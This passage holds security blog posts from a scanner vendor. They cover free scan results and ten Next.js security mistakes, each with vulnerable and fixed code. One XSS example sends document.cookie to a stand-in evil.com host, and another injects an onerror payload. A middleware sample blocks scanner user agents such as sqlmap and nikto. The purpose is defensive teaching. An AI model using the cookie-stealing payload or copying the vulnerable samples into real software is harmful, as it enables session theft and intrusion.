- **DNSSEC** -- whether DNS responses are cryptographically signed

### Dependency Vulnerabilities

Modern web apps pull in hundreds of npm packages. A scan checks your visible dependencies against known CVE databases to flag packages with published security vulnerabilities.

### Backend-Specific Checks

If your app uses Supabase, Firebase, Vercel, Netlify, or other platforms, a scan tests for platform-specific misconfigurations:

- Supabase tables with Row Level Security disabled
- Firebase security rules in test mode
- Exposed admin dashboards
- Default configurations that should have been changed

## How to Read Your Scan Results

Findings are categorized by severity. Here is what each level means with a concrete example of what you might see.

### Critical

Actively exploitable vulnerabilities that could lead to data breaches. Fix these immediately.

**Example finding:** "Supabase service_role key exposed in client-side JavaScript bundle at /static/js/main.abc123.js. This key bypasses all Row Level Security policies and grants full read/write access to your database."

### High

Serious issues that significantly increase your attack surface. Fix these before launch.

**Example finding:** "CORS policy reflects any Origin header on /api/users endpoint. An attacker-controlled website can make authenticated requests to this API and read the response, accessing user data."

### Medium

Issues that weaken your security posture. Plan to fix these soon.

**Example finding:** "Session cookie 'auth-token' is missing the HttpOnly flag. If a cross-site scripting vulnerability exists elsewhere in the application, an attacker could steal session tokens via JavaScript."

### Low

Best practice recommendations and minor improvements. Address these when you can.

**Example finding:** "Permissions-Policy header is not set. While not directly exploitable, adding this header prevents your site from being used to request camera, microphone, or geolocation access by injected scripts."

Start with critical findings and work your way down. Each finding should come with a description of the vulnerability, its impact, and specific guidance on how to fix it.

## What Free Scans Do Not Catch

A free external scan is powerful, but it has limitations. Understanding these boundaries helps you make informed decisions about your security strategy.

**Authenticated flows.** A free scan tests your site as an unauthenticated visitor. It cannot log in, navigate your dashboard, or test endpoints that require a session. Vulnerabilities behind login walls, such as privilege escalation, insecure direct object references (IDOR), or broken access control between user roles, require authenticated scanning.

**Server-side logic.** External scans observe your app's HTTP responses. They cannot read your source code, inspect your database queries, or analyze your server-side business logic. A scan might detect that your error responses leak stack traces, but it cannot verify that your payment processing logic correctly validates amounts.

**Rate-limited or WAF-protected endpoints.** If your web application firewall (WAF) blocks the scanner's requests, those endpoints will not be tested. This is a trade-off: a WAF protects you from real attacks, but it can also prevent security scanners from finding issues behind it.

**Zero-day vulnerabilities.** Scanners test against known vulnerability patterns and signatures. A novel attack technique that has not been cataloged will not be detected until scanners are updated to look for it.

For deeper coverage, consider upgrading to a paid plan that includes [site crawling with greater depth](/blog/what-is-website-security-scanning), scheduled recurring scans, and more scan volume per month.

## Common False Positives and How to Handle Them

No scanner is perfect. Here are common false positives you may encounter and how to evaluate them.

**CSP violations on CDN resources.** If you load scripts from a well-known CDN like `cdnjs.cloudflare.com`, a strict CSP audit may flag it. Verify the CDN is legitimate and add it to your CSP `script-src` directive.

**CORS findings on public APIs.** If your endpoint is genuinely a public API with no authentication (like a status page or public data feed), `Access-Control-Allow-Origin: *` is correct. Mark the finding as dismissed with a note explaining why.

**Cookie flags on third-party cookies.** Scanners sometimes flag cookies set by third-party services (analytics, chat widgets) that you do not control. Focus on cookies your application sets directly.

**SSL warnings on development subdomains.** If a scan detects an SSL issue on `staging.yourdomain.com`, that is still worth fixing, but prioritize your production domain first.

When you encounter a potential false positive, verify it manually before dismissing it. The finding is more likely real than not.

## CheckVibe Free Scan vs Other Free Scanners

Several free tools test individual aspects of website security. Here is how they compare.

| Tool | Scope | Checks | Crawling | Fix Guidance |
|------|-------|--------|----------|-------------|
| **CheckVibe Free** | Full-stack (SSL, headers, XSS, SQLi, API keys, CORS, cookies, DNS, deps, BaaS) | 100+ | Yes, discovers pages and endpoints | Yes, per-finding |
| **SSL Labs** | SSL/TLS only | Deep SSL analysis | No | Limited |
| **SecurityHeaders.com** | HTTP headers only | 6-8 headers | No (single URL) | Basic |
| **Mozilla Observatory** | Headers + TLS + best practices | ~15 checks | No (single URL) | Yes |

**SSL Labs** is the gold standard for SSL/TLS testing. It provides deeper cipher suite analysis than most general scanners. However, it only tests SSL, nothing else.

**SecurityHeaders.com** gives you a quick letter grade for your HTTP security headers. It is fast and useful for a single check, but it does not test for application-level vulnerabilities like XSS, SQL injection, or leaked API keys.

**Mozilla Observatory** combines header checks with some TLS and best-practice tests. It covers more ground than SecurityHeaders.com but still does not crawl your site or test for injection vulnerabilities.

**CheckVibe** runs all of the above plus application-level security testing: XSS, SQL injection, API key detection, CORS auditing, CSRF checks, cookie security, DNS configuration, dependency scanning, and backend-specific checks for Supabase, Firebase, Vercel, and more. It also crawls your site to discover pages and endpoints, rather than testing a single URL in isolation.

For the most thorough free assessment, run CheckVibe for the full picture, then use SSL Labs if you want a deeper dive into your TLS configuration specifically.

## Why Free Scans Matter

The barrier to entry for attackers is zero. Automated bots continuously scan every public website for known vulnerabilities. They do not care whether your site gets 10 visitors or 10 million.

A free scan puts you on equal footing. You see the same attack surface that automated tools would find, and you get a chance to fix it first. The best time to scan is before your users discover the problem, or worse, before an attacker does.

## How Often Should You Scan?

Once is not enough. Your site changes with every deployment, and new vulnerabilities are discovered in dependencies constantly. Aim for:

- After every deployment to catch issues introduced by new code
- Weekly at minimum to catch newly disclosed dependency CVEs
- Immediately after any infrastructure change (DNS, hosting, SSL)

If you want automated recurring scans, CheckVibe's paid plans include scheduled daily, weekly, or monthly scans with alert rules that notify you when your security score drops or new critical findings appear.

## FAQ

### Is a free security scan accurate?

Yes. A free scan uses the same detection engine as paid tiers. The checks are identical. What differs is volume (how many scans per month), crawling depth (how many pages the scanner discovers), and access to features like PDF export and scheduled monitoring. The findings themselves are equally accurate on the free tier.

### Can a free scan find all vulnerabilities?

No single scan, free or paid, finds every vulnerability. A free external scan covers a wide range of common issues: SSL misconfigurations, missing headers, injection vulnerabilities, exposed secrets, CORS problems, and more. However, it cannot test authenticated flows, analyze your source code, or detect business logic flaws. Think of a free scan as a strong first line of defense that catches the most common and most exploitable issues. For deeper coverage, combine automated scanning with [manual security review](/blog/how-to-check-if-website-is-secure).

### Is it safe to scan my website?

Yes. CheckVibe's scanner sends standard HTTP requests to your publicly accessible URLs. It does not attempt to exploit vulnerabilities, modify data, or perform destructive actions. The scan behaves like a well-intentioned visitor browsing your site, with additional checks on the HTTP responses it receives. It will not trigger data loss, downtime, or account lockouts.

### How often should I run a free scan?

At minimum, scan after every deployment and once a week. Deployments can introduce new vulnerabilities through code changes, and new CVEs are published in dependency databases daily. If your site handles sensitive data (authentication, payments, personal information), weekly scanning is the baseline. Many teams run daily scans through CheckVibe's monitoring feature to catch regressions as soon as they happen.

### What should I do after my first scan?

Start with critical findings and fix them immediately. These are the vulnerabilities most likely to be exploited. Then work through high-severity issues before your next deployment. For medium and low findings, create tickets and address them in your normal development cycle. After fixing issues, run another scan to confirm the fixes are in place. For a structured approach to prioritizing fixes, see our guide on [what to look for in a website security assessment](/blog/what-is-website-security-scanning).

## Scan Your App Now

CheckVibe offers a free website security scan that runs 100+ checks in under 60 seconds. Enter your URL, get a full security report with severity ratings and fix guidance, and start closing vulnerabilities today.

No configuration required. No code to install. [Run your free scan now](https://checkvibe.dev/signup).

---

*Want to understand the full landscape of security scanning tools? Read our [website security scanner comparison](/blog/website-security-scanner-comparison). New to security scanning? Start with [what is website security scanning](/blog/what-is-website-security-scanning).*


---

## Next.js Security Best Practices: 10 Things Most Developers Miss

*Next.js apps are fast to build and easy to misconfigure. 10 security issues most developers miss, with the code example and the fix for each.*

Published: 2026-03-13 | Reading time: 20 min read
URL: https://checkvibe.dev/blog/nextjs-security-best-practices


Next.js makes it remarkably easy to build and deploy full-stack web applications. That speed comes with a trade-off: most Next.js apps ship with security gaps that the framework does not prevent by default. These are not obscure edge cases. They are common patterns that appear in production apps every day.

Here are 10 specific security issues we see repeatedly, with code examples showing the vulnerability and the fix for each one.

## 1. Environment Variables Leaking to the Client Bundle

Any environment variable prefixed with `NEXT_PUBLIC_` is embedded in the JavaScript bundle sent to browsers. This is well-documented, but developers still accidentally expose secrets this way.

**Vulnerable:**

```env
# .env.local
NEXT_PUBLIC_SUPABASE_SERVICE_ROLE_KEY=eyJhbGciOiJIUzI1Ni...
NEXT_PUBLIC_STRIPE_SECRET_KEY=sk_live_abc123...
NEXT_PUBLIC_DATABASE_URL=postgresql://user:password@host/db
```

Every one of these values is now visible to anyone who opens browser developer tools and inspects the JavaScript source.

**Fixed:**

```env
# .env.local
NEXT_PUBLIC_SUPABASE_URL=https://xyz.supabase.co
NEXT_PUBLIC_SUPABASE_ANON_KEY=eyJhbGciOi...  # safe -- this is a public key

# These stay server-side only (no NEXT_PUBLIC_ prefix)
SUPABASE_SERVICE_ROLE_KEY=eyJhbGciOi...
STRIPE_SECRET_KEY=sk_live_abc123...
DATABASE_URL=postgresql://user:password@host/db
```

**Rule:** If a key grants write access, admin access, or bypasses security policies, it must never have the `NEXT_PUBLIC_` prefix.

## 2. API Routes Without Authentication

Next.js API routes (both App Router and Pages Router) are publicly accessible HTTP endpoints. There is no built-in middleware that requires authentication.

**Vulnerable:**

```typescript
// app/api/users/route.ts
export async function GET() {
  const users = await db.query('SELECT * FROM users');
  return Response.json(users);
}
```

Anyone who discovers this URL can dump your entire user table.

**Fixed:**

```typescript
// app/api/users/route.ts
import { createClient } from '@/lib/supabase/server';

export async function GET() {
  const supabase = await createClient();
  const { data: { user } } = await supabase.auth.getUser();

  if (!user) {
    return Response.json({ error: 'Unauthorized' }, { status: 401 });
  }

  // Check if user has admin role
  const { data: profile } = await supabase
    .from('profiles')
    .select('role')
    .eq('id', user.id)
    .single();

  if (profile?.role !== 'admin') {
    return Response.json({ error: 'Forbidden' }, { status: 403 });
  }

  const users = await db.query('SELECT id, email, created_at FROM users');
  return Response.json(users);
}
```

**Rule:** Every API route needs an explicit authentication check. There is no global middleware that does this for you.

## 3. Missing CSRF Protection on State-Changing Endpoints

Next.js does not include CSRF protection. If your API routes accept POST, PUT, or DELETE requests and rely on cookies for authentication, they are vulnerable to cross-site request forgery.

**Vulnerable:**

```typescript
// app/api/account/delete/route.ts
export async function POST(req: Request) {
  const supabase = await createClient();
  const { data: { user } } = await supabase.auth.getUser();

  if (user) {
    await supabase.from('profiles').delete().eq('id', user.id);
  }

  return Response.json({ success: true });
}
```

A malicious website can trigger this deletion just by having the user visit a page with a hidden form that auto-submits to your endpoint. The browser sends cookies automatically.

**Fixed:**

```typescript
export async function POST(req: Request) {
  // Validate the request origin
  const origin = req.headers.get('origin');
  const allowedOrigins = ['https://yourdomain.com'];

  if (!origin || !allowedOrigins.includes(origin)) {
    return Response.json({ error: 'Forbidden' }, { status: 403 });
  }

  const supabase = await createClient();
  const { data: { user } } = await supabase.auth.getUser();

  if (user) {
    await supabase.from('profiles').delete().eq('id', user.id);
  }

  return Response.json({ success: true });
}
```

**Rule:** Validate the `Origin` header on every POST, PUT, and DELETE route. Reject requests from unknown origins.

## 4. Server Actions Exposing Sensitive Logic

Next.js Server Actions are powerful but deceptive. They look like regular functions in your code, but they compile into publicly accessible HTTP endpoints. Any function marked with `'use server'` can be called by anyone with the right request.

**Vulnerable:**

```typescript
'use server';

export async function updateUserRole(userId: string, role: string) {
  await db.query('UPDATE users SET role = $1 WHERE id = $2', [role, userId]);
}
```

This server action can be invoked directly via HTTP. An attacker can call it with any `userId` and set any `role`, including `admin`.

**Fixed:**

```typescript
'use server';

import { createClient } from '@/lib/supabase/server';

export async function updateUserRole(userId: string, role: string) {
  const supabase = await createClient();
  const { data: { user } } = await supabase.auth.getUser();

  if (!user) throw new Error('Unauthorized');

  // Check caller is admin
  const { data: profile } = await supabase
    .from('profiles')
    .select('role')
    .eq('id', user.id)
    .single();

  if (profile?.role !== 'admin') throw new Error('Forbidden');

  // Validate role against allowlist
  const validRoles = ['user', 'editor', 'admin'];
  if (!validRoles.includes(role)) throw new Error('Invalid role');

  await db.query('UPDATE users SET role = $1 WHERE id = $2', [role, userId]);
}
```

**Rule:** Treat every Server Action as a public API endpoint. Add authentication, authorization, and input validation.

## Server Actions Security Deep Dive

Server Actions deserve extra attention because they blur the line between client and server code in a way that creates unique security risks. Here are the patterns that cause the most problems.

### Closure variables are serialized

When a Server Action closes over a variable from a Server Component, that variable is serialized and sent to the client as part of the action's hidden form data. If the variable contains sensitive information, it leaks.

**Vulnerable:**

```typescript
// app/admin/page.tsx (Server Component)
export default async function AdminPage() {
  const secretToken = process.env.ADMIN_API_TOKEN;

  async function performAction() {
    'use server';
    // secretToken is captured in the closure and serialized to the client
    await fetch('https://api.example.com', {
      headers: { Authorization: `Bearer ${secretToken}` },
    });
  }

  return <form action={performAction}><button>Run</button></form>;
}
```

**Fixed:**

```typescript
// app/admin/page.tsx (Server Component)
export default async function AdminPage() {
  return <form action={performAction}><button>Run</button></form>;
}

// actions.ts -- separate file, reads env at execution time
'use server';

export async function performAction() {
  const secretToken = process.env.ADMIN_API_TOKEN;
  await fetch('https://api.example.com', {
    headers: { Authorization: `Bearer ${secretToken}` },
  });
}
```

### Return values are sent to the client

Whatever a Server Action returns is serialized and sent back to the browser. If your action returns a database record that includes internal fields, those fields are exposed.

**Vulnerable:**

```typescript
'use server';

export async function getUser(id: string) {
  // Returns everything: password_hash, internal_notes, billing_info
  const user = await db.query('SELECT * FROM users WHERE id = $1', [id]);
  return user.rows[0];
}
```

**Fixed:**

```typescript
'use server';

export async function getUser(id: string) {
  const user = await db.query(
    'SELECT id, name, email, avatar_url FROM users WHERE id = $1',
    [id]
  );
  return user.rows[0];
}
```

### Arguments can be tampered with

The arguments to a Server Action come from the client. Even if your form only sends a name and email, an attacker can modify the request to send additional or different arguments.

**Vulnerable:**

```typescript
'use server';

export async function updateProfile(data: { name: string; email: string; role?: string }) {
  const supabase = await createClient();
  const { data: { user } } = await supabase.auth.getUser();
  // Attacker adds role: 'admin' to the request payload
  await supabase.from('profiles').update(data).eq('id', user!.id);
}
```

**Fixed:**

```typescript
'use server';

import { z } from 'zod';

const profileSchema = z.object({
  name: z.string().min(1).max(100),
  email: z.string().email(),
});

export async function updateProfile(rawData: unknown) {
  const parsed = profileSchema.safeParse(rawData);
  if (!parsed.success) throw new Error('Invalid input');

  const supabase = await createClient();
  const { data: { user } } = await supabase.auth.getUser();
  if (!user) throw new Error('Unauthorized');

  // Only name and email can be updated -- role is never accepted
  await supabase.from('profiles').update(parsed.data).eq('id', user.id);
}
```

The key principle: Server Actions are HTTP endpoints with a nicer syntax. Every security practice that applies to API routes applies to Server Actions too.

## 5. Middleware Auth Bypass via Path Matching

Next.js middleware runs before route handlers, making it a natural place for auth checks. But the `matcher` configuration is easy to get wrong, leaving routes unprotected.

**Vulnerable:**

```typescript
// middleware.ts
export const config = {
  matcher: ['/dashboard/:path*'],
};

export function middleware(req: NextRequest) {
  const token = req.cookies.get('session');
  if (!token) {
    return NextResponse.redirect(new URL('/login', req.url));
  }
}
```

This protects `/dashboard/settings` but not `/api/dashboard/data`, `/dashboard.json`, or any other route that does not match the pattern. API routes are completely unprotected.

**Fixed:**

```typescript
export const config = {
  matcher: [
    '/dashboard/:path*',
    '/api/:path*',
    // Exclude public routes explicitly
    '/((?!api/auth|api/health|_next|favicon.ico).*)',
  ],
};
```

**Rule:** Default to protecting all routes and explicitly exclude public ones, not the other way around.

## Edge Middleware Security Patterns

Next.js middleware runs at the edge, which gives it unique properties that affect security. Here are patterns for using middleware effectively as a security layer.

### Rate limiting at the edge

Middleware is the best place to implement rate limiting because it runs before your route handlers, reducing load on your server for abusive requests.

```typescript
// middleware.ts
import { NextRequest, NextResponse } from 'next/server';

const rateLimitMap = new Map<string, { count: number; timestamp: number }>();

function rateLimit(ip: string, limit: number, windowMs: number): boolean {
  const now = Date.now();
  const record = rateLimitMap.get(ip);

  if (!record || now - record.timestamp > windowMs) {
    rateLimitMap.set(ip, { count: 1, timestamp: now });
    return true;
  }

  if (record.count >= limit) return false;
  record.count++;
  return true;
}

export function middleware(req: NextRequest) {
  // Rate limit API routes: 60 requests per minute per IP
  if (req.nextUrl.pathname.startsWith('/api/')) {
    const ip = req.headers.get('x-forwarded-for')?.split(',')[0] || 'unknown';
    if (!rateLimit(ip, 60, 60_000)) {
      return NextResponse.json(
        { error: 'Too many requests' },
        { status: 429 }
      );
    }
  }

  return NextResponse.next();
}
```

Note: In-memory rate limiting only works on a single edge node. For production, use a distributed store like Upstash Redis or Vercel KV.

### Geo-blocking and bot detection

Middleware can inspect request headers to block known bad actors before they reach your application.

```typescript
export function middleware(req: NextRequest) {
  const ua = req.headers.get('user-agent') || '';

  // Block known vulnerability scanners
  const blockedAgents = ['sqlmap', 'nikto', 'nmap', 'dirbuster'];
  if (blockedAgents.some(agent => ua.toLowerCase().includes(agent))) {
    return new NextResponse(null, { status: 403 });
  }

  // Add security headers to all responses
  const response = NextResponse.next();
  response.headers.set('X-Frame-Options', 'DENY');
  response.headers.set('X-Content-Type-Options', 'nosniff');

  return response;
}
```

### Session validation

Rather than checking authentication in every route handler, middleware can validate session tokens centrally. The key is to not rely on middleware alone -- always verify in the route handler too, because middleware can be bypassed by certain path patterns.

```typescript
export async function middleware(req: NextRequest) {
  const sessionCookie = req.cookies.get('session')?.value;

  if (req.nextUrl.pathname.startsWith('/dashboard')) {
    if (!sessionCookie) {
      return NextResponse.redirect(new URL('/login', req.url));
    }

    // For Supabase: verify the token is not expired
    try {
      const payload = JSON.parse(
        Buffer.from(sessionCookie.split('.')[1], 'base64').toString()
      );
      if (payload.exp * 1000 < Date.now()) {
        return NextResponse.redirect(new URL('/login', req.url));
      }
    } catch {
      return NextResponse.redirect(new URL('/login', req.url));
    }
  }

  return NextResponse.next();
}
```

This middleware is a first line of defense, not a replacement for per-route authentication. Always call `supabase.auth.getUser()` in your route handlers too. For Vercel-specific deployment concerns, see our [Vercel deployment security checklist](/blog/vercel-deployment-security-checklist).

## 6. Rendering User Content Without Sanitization

React escapes JSX by default, which prevents most XSS. But the moment you use `dangerouslySetInnerHTML` or render Markdown, that protection disappears.

**Vulnerable:**

```tsx
// Rendering user-provided HTML
function Comment({ html }: { html: string }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
```

If `html` contains `<script>document.location='https://evil.com/steal?c='+document.cookie</script>`, the script executes in every visitor's browser.

This also applies to Markdown rendering. Libraries like `react-markdown` are safe by default because they do not render raw HTML. But many developers configure them to allow HTML for richer formatting, which opens the same vulnerability:

```tsx
// Vulnerable -- allows raw HTML in Markdown
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';

function UserPost({ markdown }: { markdown: string }) {
  return <ReactMarkdown rehypePlugins={[rehypeRaw]}>{markdown}</ReactMarkdown>;
}
```

With `rehypeRaw` enabled, a user can inject `<img src=x onerror="alert(document.cookie)">` inside their Markdown and it will execute.

**Fixed:**

```tsx
import DOMPurify from 'isomorphic-dompurify';

function Comment({ html }: { html: string }) {
  const clean = DOMPurify.sanitize(html);
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
```

For Markdown, either avoid the `rehypeRaw` plugin entirely, or sanitize the output:

```tsx
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import rehypeSanitize from 'rehype-sanitize';

function UserPost({ markdown }: { markdown: string }) {
  return (
    <ReactMarkdown rehypePlugins={[rehypeRaw, rehypeSanitize]}>
      {markdown}
    </ReactMarkdown>
  );
}
```

The `rehype-sanitize` plugin strips dangerous elements and attributes while allowing safe formatting HTML like `<strong>`, `<em>`, and `<a>` tags.

**Rule:** Every use of `dangerouslySetInnerHTML` must be preceded by sanitization with DOMPurify or a similar library. Every Markdown renderer that accepts user input must either block raw HTML or sanitize it.

## 7. No Security Headers Configured

Next.js does not set security headers by default. A fresh deployment will be missing CSP, HSTS, X-Frame-Options, and every other protective header.

**Vulnerable:**

```typescript
// next.config.ts -- no headers configured
const config: NextConfig = {
  // nothing here
};
```

**Fixed:**

```typescript
// next.config.ts
const config: NextConfig = {
  async headers() {
    return [{
      source: '/:path*',
      headers: [
        { key: 'X-Frame-Options', value: 'DENY' },
        { key: 'X-Content-Type-Options', value: 'nosniff' },
        { key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
        {
          key: 'Strict-Transport-Security',
          value: 'max-age=31536000; includeSubDomains; preload',
        },
        {
          key: 'Content-Security-Policy',
          value: "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://*.supabase.co",
        },
        { key: 'Permissions-Policy', value: 'camera=(), microphone=(), geolocation=()' },
      ],
    }];
  },
};
```

A common mistake with CSP in Next.js is using `'strict-dynamic'` without nonce support. The `'strict-dynamic'` directive is designed for nonce-based CSP, and when present, it nullifies `'unsafe-inline'` and `'self'` in CSP Level 3 browsers. Since Next.js relies on inline scripts for hydration, adding `'strict-dynamic'` without a working nonce system will break your entire application. Stick with `'unsafe-inline'` until you have a complete nonce pipeline integrated with your Next.js layout.

For a thorough walkthrough of every header and its implications, see our [complete guide to security headers](/blog/security-headers-complete-guide).

**Rule:** Set security headers on every route. Test with a scanner to confirm they are present on your production deployment.

## 8. Open Redirects via the Router

Next.js apps frequently redirect users after login, signup, or form submission using a URL parameter. If the redirect target is not validated, attackers can craft URLs that redirect users to phishing sites.

**Vulnerable:**

```typescript
// app/api/auth/callback/route.ts
export async function GET(req: Request) {
  const url = new URL(req.url);
  const redirectTo = url.searchParams.get('redirect') || '/dashboard';

  // ... handle auth callback

  return NextResponse.redirect(new URL(redirectTo, req.url));
}
```

An attacker sends the victim a link like `https://yourapp.com/api/auth/callback?redirect=https://evil.com/phish`. After logging in, the user lands on the attacker's page, which looks identical to yours and asks for their password again.

There are subtle variations that bypass naive checks. For example, `//evil.com` is a protocol-relative URL that the browser resolves to `https://evil.com`. And `https://yourapp.com.evil.com` looks legitimate at a glance but goes to the attacker's domain.

**Fixed:**

```typescript
export async function GET(req: Request) {
  const url = new URL(req.url);
  const redirectTo = url.searchParams.get('redirect') || '/dashboard';

  // Only allow relative paths -- block protocol-relative URLs too
  const safeRedirect = redirectTo.startsWith('/') && !redirectTo.startsWith('//')
    ? redirectTo
    : '/dashboard';

  return NextResponse.redirect(new URL(safeRedirect, req.url));
}
```

For apps that need to redirect to specific external domains (for example, after OAuth), use an explicit allowlist:

```typescript
const ALLOWED_REDIRECT_HOSTS = ['yourdomain.com', 'accounts.google.com'];

function getSafeRedirect(redirectTo: string, baseUrl: string): string {
  // Allow relative paths
  if (redirectTo.startsWith('/') && !redirectTo.startsWith('//')) {
    return redirectTo;
  }

  // Check external URLs against allowlist
  try {
    const parsed = new URL(redirectTo);
    if (ALLOWED_REDIRECT_HOSTS.includes(parsed.hostname)) {
      return redirectTo;
    }
  } catch {
    // Invalid URL
  }

  return '/dashboard';
}
```

**Rule:** Never redirect to a URL from user input without validating it is a relative path on your own domain or an explicitly allowed external host.

## 9. Exposing Detailed Error Messages in Production

Next.js shows detailed error pages in development, but custom error handling in API routes often leaks implementation details in production too.

**Vulnerable:**

```typescript
export async function POST(req: Request) {
  try {
    const result = await db.query(complexQuery);
    return Response.json(result);
  } catch (error) {
    // Leaks database type, table names, column names, query structure
    return Response.json({ error: (error as Error).message }, { status: 500 });
  }
}
```

A database error might return something like `relation "users" does not exist` or `column "ssn" is of type character varying` -- giving attackers a detailed map of your database schema.

This extends to client-side error boundaries too. Next.js error boundaries receive the full error object, and a common pattern is rendering `error.message` directly:

```tsx
// app/error.tsx -- vulnerable error boundary
'use client';

export default function ErrorPage({ error }: { error: Error }) {
  return (
    <div>
      <h1>Something went wrong</h1>
      {/* Leaks internal error details to the user */}
      <p>{error.message}</p>
    </div>
  );
}
```

In production, this can expose stack traces, database connection strings, or internal service names.

**Fixed:**

```typescript
export async function POST(req: Request) {
  try {
    const result = await db.query(complexQuery);
    return Response.json(result);
  } catch (error) {
    console.error('Database query failed:', error); // Log internally
    return Response.json(
      { error: 'An unexpected error occurred' },
      { status: 500 }
    );
  }
}
```

```tsx
// app/error.tsx -- safe error boundary
'use client';

import { useEffect } from 'react';

export default function ErrorPage({ error, reset }: { error: Error; reset: () => void }) {
  useEffect(() => {
    // Send to your error tracking service (Sentry, etc.)
    console.error('Client error:', error);
  }, [error]);

  return (
    <div>
      <h1>Something went wrong</h1>
      <p>An unexpected error occurred. Please try again.</p>
      <button onClick={reset}>Try again</button>
    </div>
  );
}
```

**Rule:** Log the real error server-side for debugging. Return a generic message to the client. Never render `error.message` in production error boundaries.

## 10. Insecure File Upload Handling

Next.js does not restrict file uploads by default. If your app accepts file uploads without validation, attackers can upload malicious scripts, oversized files, or files with deceptive extensions.

**Vulnerable:**

```typescript
export async function POST(req: Request) {
  const formData = await req.formData();
  const file = formData.get('file') as File;

  // No type check, no size limit, no sanitization
  const buffer = Buffer.from(await file.arrayBuffer());
  await writeFile(`./public/uploads/${file.name}`, buffer);

  return Response.json({ url: `/uploads/${file.name}` });
}
```

This allows uploading an HTML file containing JavaScript, which then executes in your domain context when accessed, giving the attacker full access to your users' cookies and session data. It also allows path traversal -- a filename like `../../../.env.local` could overwrite your environment file.

**Fixed:**

```typescript
import { writeFile, mkdir } from 'fs/promises';
import { join } from 'path';

const ALLOWED_TYPES = ['image/jpeg', 'image/png', 'image/webp', 'image/gif'];
const MAX_SIZE = 5 * 1024 * 1024; // 5MB

export async function POST(req: Request) {
  const supabase = await createClient();
  const { data: { user } } = await supabase.auth.getUser();
  if (!user) {
    return Response.json({ error: 'Unauthorized' }, { status: 401 });
  }

  const formData = await req.formData();
  const file = formData.get('file') as File;

  if (!file) {
    return Response.json({ error: 'No file provided' }, { status: 400 });
  }

  // Validate MIME type against allowlist
  if (!ALLOWED_TYPES.includes(file.type)) {
    return Response.json({ error: 'Invalid file type' }, { status: 400 });
  }

  // Enforce size limit
  if (file.size > MAX_SIZE) {
    return Response.json({ error: 'File too large' }, { status: 400 });
  }

  // Validate magic bytes match the claimed MIME type
  const buffer = Buffer.from(await file.arrayBuffer());
  const header = buffer.subarray(0, 4).toString('hex');
  const validHeaders: Record<string, string[]> = {
    'image/jpeg': ['ffd8ffe0', 'ffd8ffe1', 'ffd8ffe2'],
    'image/png': ['89504e47'],
    'image/webp': ['52494646'],
    'image/gif': ['47494638'],
  };

  const expectedHeaders = validHeaders[file.type] || [];
  if (!expectedHeaders.some(h => header.startsWith(h))) {
    return Response.json({ error: 'File content does not match type' }, { status: 400 });
  }

  // Generate a safe filename -- never use the original
  const ext = file.type.split('/')[1];
  const safeName = `${crypto.randomUUID()}.${ext}`;

  // Store outside of /public to prevent direct execution
  const uploadDir = join(process.cwd(), 'uploads');
  await mkdir(uploadDir, { recursive: true });
  await writeFile(join(uploadDir, safeName), buffer);

  return Response.json({ url: `/api/uploads/${safeName}` });
}
```

The fixed version does five critical things: validates the MIME type against an allowlist, enforces a size limit, checks magic bytes to prevent MIME type spoofing, generates a random filename to prevent path traversal, and stores files outside the `public` directory to prevent direct execution. For production apps, consider using a cloud storage service like Supabase Storage or S3 instead of local file storage, and serve uploads from a separate domain or CDN to prevent same-origin script execution.

**Rule:** Validate file type against an allowlist, enforce size limits, check magic bytes, generate random filenames, and never serve uploaded files from the same domain without a CDN or separate origin.

## Scan Your App Now

These 10 issues show up in the majority of Next.js applications we scan. Many of them exist because the framework prioritizes developer experience over secure defaults, and it is on you to close the gaps.

CheckVibe automatically tests your Next.js app for all of the above, plus 27 more vulnerability categories. It crawls every page, tests every endpoint, and gives you a prioritized report with fix guidance.

[Run a free scan on your Next.js app](https://checkvibe.dev/signup) -- 100+ security checks in under 60 seconds.

## FAQ

### Is Next.js secure by default?

No. Next.js provides some built-in protections -- React's JSX escaping prevents most XSS, and Server Components do not expose their logic to the client. But the framework does not set security headers, does not add CSRF protection, does not authenticate API routes, and does not validate input. These are all left to the developer. The defaults prioritize developer experience and ease of deployment, which means a fresh Next.js app deployed to Vercel will be missing HSTS, CSP, X-Frame-Options, and every other protective header. You need to add these yourself in `next.config.ts` or middleware. Think of Next.js as secure in its rendering layer but not in its network layer -- you get XSS protection for free, but everything else is your responsibility.

### Do I need middleware.ts?

It depends on your app. Middleware is useful for centralized auth checks, rate limiting, geo-blocking, and adding security headers. But it is not a replacement for per-route authentication. Middleware runs at the edge and cannot access your database directly, so it is limited to checking cookies, tokens, and headers. The biggest risk with middleware is misconfigured path matching -- if your `matcher` pattern does not cover all routes, unmatched routes are completely unprotected. If you use middleware for auth, always verify authentication again in your route handlers as a defense-in-depth measure. For simple apps with a handful of API routes, inline auth checks in each route may be simpler and harder to misconfigure than middleware.

### How do I add CSP to Next.js?

The simplest approach is using the `headers()` function in `next.config.ts` to set a static CSP header on all routes (as shown in item 7 above). This works well for most apps. The challenge is that Next.js uses inline scripts for hydration, so you need `'unsafe-inline'` in your `script-src` directive, which weakens CSP. The more secure approach is nonce-based CSP, where each inline script gets a unique nonce that the CSP header allows. However, implementing nonces in Next.js requires custom server configuration to generate a nonce per request and inject it into both the CSP header and every script tag. This is non-trivial and error-prone. Our recommendation: start with a static CSP using `'unsafe-inline'` for scripts, which still protects against many attacks. Do not use `'strict-dynamic'` without nonces -- it nullifies `'unsafe-inline'` and `'self'` in modern browsers, which will break your app. For a full walkthrough of CSP configuration, see our [security headers guide](/blog/security-headers-complete-guide).

### Are Server Actions safe?

Server Actions are safe in the sense that their code runs on the server and is not exposed to the client. But they are not safe by default in terms of access control. Every Server Action compiles into a publicly accessible HTTP endpoint that anyone can call with the right request format. If a Server Action modifies data without checking who is calling it, it is just as vulnerable as an unprotected API route. The rules are the same: authenticate the caller, authorize the action, validate all inputs, and return only the data the caller should see. The extra risk with Server Actions is that they look like regular functions in your code, which makes it easy to forget that they are public endpoints. Treat every `'use server'` function the way you would treat a `POST /api/...` route. For more on CORS-related concerns with these patterns, see our [CORS misconfiguration guide](/blog/cors-misconfiguration-guide).


---

## Vibe Coding Security Risks: What AI-Generated Code Gets Wrong

